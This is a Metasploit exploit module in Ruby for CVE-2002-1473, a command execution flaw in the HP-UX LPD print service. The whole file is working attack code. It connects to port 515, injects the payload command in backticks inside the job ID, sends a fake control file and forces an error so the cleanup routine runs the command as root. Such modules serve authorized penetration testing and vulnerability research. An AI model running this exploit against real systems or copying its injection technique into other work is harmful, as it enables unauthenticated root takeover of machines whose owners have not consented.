##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'English'
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'HP-UX LPD Command Execution',
        'Description' => %q{
          This exploit abuses an unpublished vulnerability in the
          HP-UX LPD service. This flaw allows an unauthenticated
          attacker to execute arbitrary commands with the privileges
          of the root user. The LPD service is only exploitable when
          the address of the attacking system can be resolved by the
          target. This vulnerability was silently patched with the
          buffer overflow flaws addressed in HP Security Bulletin
          HPSBUX0208-213.
        },
        'Author' => [ 'hdm' ],
        'References' => [
          ['CVE', '2002-1473'],
          ['OSVDB', '9638'],
          ['URL', 'https://web.archive.org/web/20041213153521/http://archives.neohapsis.com/archives/hp/2002-q3/0064.html'],
        ],
        'Platform' => %w[hpux unix],
        'Arch' => ARCH_CMD,
        'Payload' => {
          'Space' => 200,
          'DisableNops' => true,
          'BadChars' => "\x00\x09\x20\x2f",
          'Compat' => {
            'PayloadType' => 'cmd',
            'RequiredCmd' => 'generic perl telnet'
          }
        },
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'Privileged' => true,
        'DefaultTarget' => 0,
        'DisclosureDate' => '2002-08-28',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options([
      Opt::RPORT(515)
    ])
  end

  def exploit
    # The job ID is squashed down to three decimal digits
    jid = ($PROCESS_ID % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]

    # Connect to the LPD service
    connect

    print_status('Sending our job request with embedded command string...')

    # Send the job request with the encoded command
    sock.put("\x02#{rand_text_alphanumeric(3)}#{jid}`#{payload.encoded}`\n")

    res = sock.get_once(1)
    if !(res && res[0, 1] == "\x00")
      fail_with(Failure::Unknown, 'The target did not accept our job request')
    end

    print_status('Sending our fake control file...')
    sock.put("\x02 32 cfA#{rand_text_alphanumeric(8)}\n")

    res = sock.get_once(1)
    if !(res && res[0, 1] == "\x00")
      fail_with(Failure::Unknown, 'The target did not accept our control file')
    end

    print_status('Forcing an error and hijacking the cleanup routine...')

    begin
      sock.put(rand_text_alphanumeric(16384))
    rescue StandardError
      # request may fail, this is expected
    end
  ensure
    disconnect unless sock.nil?
  end
end